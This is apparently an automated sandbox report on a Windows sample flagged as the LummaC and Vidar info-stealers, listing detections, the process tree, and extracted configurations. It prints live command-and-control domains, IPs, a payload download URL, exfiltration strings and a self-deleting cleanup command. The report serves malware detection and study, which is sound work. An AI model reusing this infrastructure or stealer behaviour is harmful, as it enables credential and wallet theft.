Edit tour

Windows Analysis Report
T2bmenoX1o.exe

Overview

General Information

Sample name:	T2bmenoX1o.exe renamed because original name is a hash value
Original sample name:	a72af6c3293eb3061bba1e48ba6147de.exe
Analysis ID:	1528576
MD5:	a72af6c3293eb3061bba1e48ba6147de
SHA1:	316276ac440f65361db52e49a7fc4d2a9be1f457
SHA256:	7dc3d6e633cbabe95c39fa36f94ab6657e3c04dab7a9a6c1f79c9e2424378e00
Tags:	32exe
Infos:

Detection

LummaC, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Country aware sample found (crashes after keyboard check)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

T2bmenoX1o.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\T2bmenoX1o.exe" MD5: A72AF6C3293EB3061BBA1E48BA6147DE)

MSBuild.exe (PID: 7300 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

AAFIIJDAAA.exe (PID: 7968 cmdline: "C:\ProgramData\AAFIIJDAAA.exe" MD5: 3EFC73BB21B794BC0F39690FC48A4853)

MSBuild.exe (PID: 7980 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 8032 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7968 -s 248 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 8120 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KJKFBAFIDAEB" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 8172 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 7376 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7284 -s 272 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["frizzettei.sbs", "invinjurhey.sbs", "exemplarou.sbs", "isoplethui.sbs", "wickedneatr.sbs", "laddyirekyi.sbs", "bemuzzeki.sbs", "exilepolsiy.sbs"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199786602107", "https://t.me/maslengdsa"], "Botnet": "4a5bc8b73e12425adc3c399da8136891"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000009.00000002.2216121534.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: T2bmenoX1o.exe PID: 7284	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: T2bmenoX1o.exe PID: 7284	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: T2bmenoX1o.exe PID: 7284	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 7300	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7300	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 7300	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7300	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
9.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.T2bmenoX1o.exe.db0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.T2bmenoX1o.exe.db0000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
8.2.AAFIIJDAAA.exe.1b0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.T2bmenoX1o.exe.dddad8.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.T2bmenoX1o.exe.dddad8.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.T2bmenoX1o.exe.dddad8.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.T2bmenoX1o.exe.dddad8.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 149.154.167.99, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7300, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49742

Suricata Signatures

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:51.875736+0200	2054495	1	A Network Trojan was detected	192.168.2.4	51297	45.132.206.251	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bemuzzeki .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:49.583248+0200	2056502	1	Domain Observed Used for C2 Detected	192.168.2.4	59347	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (exemplarou .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:49.545762+0200	2056510	1	Domain Observed Used for C2 Detected	192.168.2.4	50020	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (exilepolsiy .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:49.592247+0200	2056512	1	Domain Observed Used for C2 Detected	192.168.2.4	57388	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frizzettei .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:49.558011+0200	2056514	1	Domain Observed Used for C2 Detected	192.168.2.4	59563	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (invinjurhey .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:49.615140+0200	2056516	1	Domain Observed Used for C2 Detected	192.168.2.4	53745	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (isoplethui .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:49.568162+0200	2056518	1	Domain Observed Used for C2 Detected	192.168.2.4	62537	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (laddyirekyi .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:49.601450+0200	2056520	1	Domain Observed Used for C2 Detected	192.168.2.4	51199	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wickedneatr .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:49.632223+0200	2056524	1	Domain Observed Used for C2 Detected	192.168.2.4	54905	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:21.113875+0200	2044247	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.4	51293	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:21.791656+0200	2051831	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.4	51293	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:20.419579+0200	2049087	1	A Network Trojan was detected	192.168.2.4	51293	95.164.90.97	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:45:39.520647+0200	2803304	3	Unknown Traffic	192.168.2.4	51294	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: T2bmenoX1o.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\ProgramData\AAFIIJDAAA.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458

Found malware configuration

Source: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199786602107", "https://t.me/maslengdsa"], "Botnet": "4a5bc8b73e12425adc3c399da8136891"}
Source: 8.2.AAFIIJDAAA.exe.1b0000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["frizzettei.sbs", "invinjurhey.sbs", "exemplarou.sbs", "isoplethui.sbs", "wickedneatr.sbs", "laddyirekyi.sbs", "bemuzzeki.sbs", "exilepolsiy.sbs"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for domain / URL

Source: cowod.hopto.org	Virustotal: Detection: 10%	Perma Link
Source: nsdm.cumpar-auto-orice-tip.ro	Virustotal: Detection: 8%	Perma Link
Source: exemplarou.sbs	Virustotal: Detection: 6%	Perma Link
Source: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	Virustotal: Detection: 10%	Perma Link
Source: http://cowod.hopto.org	Virustotal: Detection: 10%	Perma Link
Source: exemplarou.sbs	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for submitted file

Source: T2bmenoX1o.exe

Virustotal: Detection: 44%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\AAFIIJDAAA.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: T2bmenoX1o.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: wickedneatr.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: invinjurhey.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: laddyirekyi.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exilepolsiy.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: bemuzzeki.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: isoplethui.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: frizzettei.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Screen Resoluton:
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: Workgroup: -
Source: 00000008.00000002.2228944869.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00411E32 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	1_2_00411E32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A7AD _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	1_2_0040A7AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB66C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6CB66C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCBA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6CCBA9A0

Source: T2bmenoX1o.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:51295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:51299 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:51376 version: TLS 1.2

Source: T2bmenoX1o.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2249159673.0000000038339000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2244107241.000000002C45F000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DC9ABF FindFirstFileExW,	0_2_00DC9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00416013 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00416013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041547D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041547D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409CF1 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409CF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414D08 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414D08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D59B FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D59B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5B4 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF22 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B914 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B914
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B4D GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD0C wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD0C
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001C9ABF FindFirstFileExW,	8_2_001C9ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415182 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415182

